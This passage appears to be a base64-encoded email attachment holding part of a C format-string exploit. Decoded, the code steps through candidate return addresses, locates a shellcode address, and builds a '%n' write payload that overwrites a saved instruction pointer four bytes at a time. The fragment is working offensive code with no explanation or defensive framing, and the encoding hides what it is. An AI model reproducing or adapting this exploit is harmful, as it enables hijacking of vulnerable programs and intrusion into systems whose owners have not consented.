aWduZWQgbG9uZyBhZGRyOw0KICAgIHVuc2lnbmVkIGxvbmcgYSwgYiwgYywg ZDsNCiAgICBpbnQgcGFzMSxwYXMyLHBhczMscGFzNDsNCiAgICBpbnQgaTsN CiAgICBjaGFyIHRlbXBbNTEyXTsNCiAgICBjaGFyIGJ1Zls1MTJdOw0KICAg IGNoYXIgYXRlbXBbMTI4XTsNCiAgICBjaGFyIGJ1ZnhbNTEyXTsNCg0KICAg IHN0YXJ0YWRkciA9IHN0YXJ0YWRkciAtIDB4NDsNCiAgICBhZGRyID0gc3Rh cnRhZGRyOw0KDQogICAgYnplcm8odGVtcCxzaXplb2YodGVtcCkpOw0KICAg IGJ6ZXJvKGJ1ZixzaXplb2YoYnVmKSk7DQogICAgYnplcm8oYnVmeCxzaXpl b2YoYnVmeCkpOw0KICAgIGJ6ZXJvKGF0ZW1wLHNpemVvZihhdGVtcCkpOw0K DQogICAgaWYgKGFkZHIgPT0gc3RvcGFkZHIpDQogICAgew0KICAgICAgICBw cmludGYoIlxucmVhY2hlZCBzdG9wYWRkciwgY2hhbmdlIHNoZWxsY29kZSBh ZGRyZXNzL2ZzY1xuIik7DQogICAgICAgIGV4aXQoMSk7DQogICAgfQ0KDQog ICAgaWYod2hhdCkNCiAgICB7DQogICAgICAgIG9mZi09bW1tOw0KICAgICAg ICBtbW0rKzsNCiAgICB9DQoNCiAgICBpZiAobW1tID09IDE4NSkNCiAgICB7 DQogICAgICAgIHByaW50ZigiPyEuLiB3ZSBjYW50IGZpbmQgdGhlIGZpcnN0 IGNoYXJhY3RlciBvZiBvdXIgc2hlbGxjb2RlISNAXG4iKTsNCiAgICAgICAg ZXhpdCgwKTsNCiAgICB9DQoNCiAgICBzbnByaW50Zih0ZW1wLHNpemVvZih0 ZW1wKSwiJXAiLHR5cGVzW3NlbF0uc2hhZGRyK3R5cGVzW3NlbF0ub2Zmc2V0 K29mZik7DQogICAgc3NjYW5mKHRlbXAsIjB4JTJ4JTJ4JTJ4JTJ4IiwmYSwm YiwmYywmZCk7DQogICAgcGFzMSA9IGQgLSAoMTYgKiAyKTsNCiAgICBwYXMx ID0gY24ocGFzMSk7DQogICAgcGFzMiA9IGMgLSBkOw0KICAgIHBhczIgPSBj bihwYXMyKTsNCiAgICBwYXMzID0gYiAtIGM7DQogICAgcGFzMyA9IGNuKHBh czMpOw0KICAgIHBhczQgPSBhIC0gYjsNCiAgICBwYXM0ID0gY24ocGFzNCk7 DQoNCiAgICBpZih3aGF0KQ0KICAgICAgICBhZGRyID0gZ2xvYjsNCiAgICBl bHNlDQogICAgICAgIGdsb2IgPSBhZGRyOw0KDQogICAgcHJpbnRmKCJlaXA6 ICVwIC0gc2hlbGxjb2RlIGFkZHI6ICVwIC0gIixhZGRyLHR5cGVzW3NlbF0u c2hhZGRyK3R5cGVzW3NlbF0ub2Zmc2V0K29mZik7DQogICAgZmZsdXNoKHN0 ZG91dCk7DQoNCiAgICBmb3IgKGk9MCA7IGkgPCA0IDsgaSsrKQ0KICAgIHsN CiAgICAgICAgc25wcmludGYoYXRlbXAsc2l6ZW9mKGF0ZW1wKSwiJXMiLCZh ZGRyKTsNCiAgICAgICAgc3RybmNhdChidWYsIGF0ZW1wLCA0KTsNCiAgICAg ICAgYWRkcisrOw0KICAgIH0NCg0KICAgIHNucHJpbnRmKGJ1Zngsc2l6ZW9m KGJ1ZngpLCIlJS4lZHUlJSVkJG4lJS4lZHUlJSVkJG4lJS4lZHUlJSVkJG4l JS4lZHUlJSVkJG4iLHBhczEsKHR5cGVzW3NlbF0uZnNjKSxwYXMyLCh0eXBl c1tzZWxdLmZzYykrMSxwYXMzLCh0eXBlc1tzZWxdLmZzYykrMixwYXM0LHR5 cGVzW3NlbF0uZnNjKzMpOw0KICAgIHN0cmNhdChidWYsYnVmeCk7DQogICAg Ynplcm8ocGJ1ZixzaXplb2YocGJ1ZikpOw0KICAgIHN0cm5jcHkocGJ1Zixi dWYsc2l6ZW9mKHBidWYpKTsNCn0NCg0KY24odW5zaWduZWQgbG9uZyBhZGRy KQ0Kew0KICAgIGNoYXIgaGVbMTI4XTsNCg0KICAgIHNucHJpbnRmKGhlLHNp emVvZihoZSksIiVkIixhZGRyKTsNCiAgICBpZiAoYXRvaShoZSkgPCA4KQ0K ICAgICAgICBhZGRyID0gYWRkciArIDI1NjsNCg0KICAgIHJldHVybiBhZGRy Ow0KfQ0K --8323328-429940079-989213877=:520--
|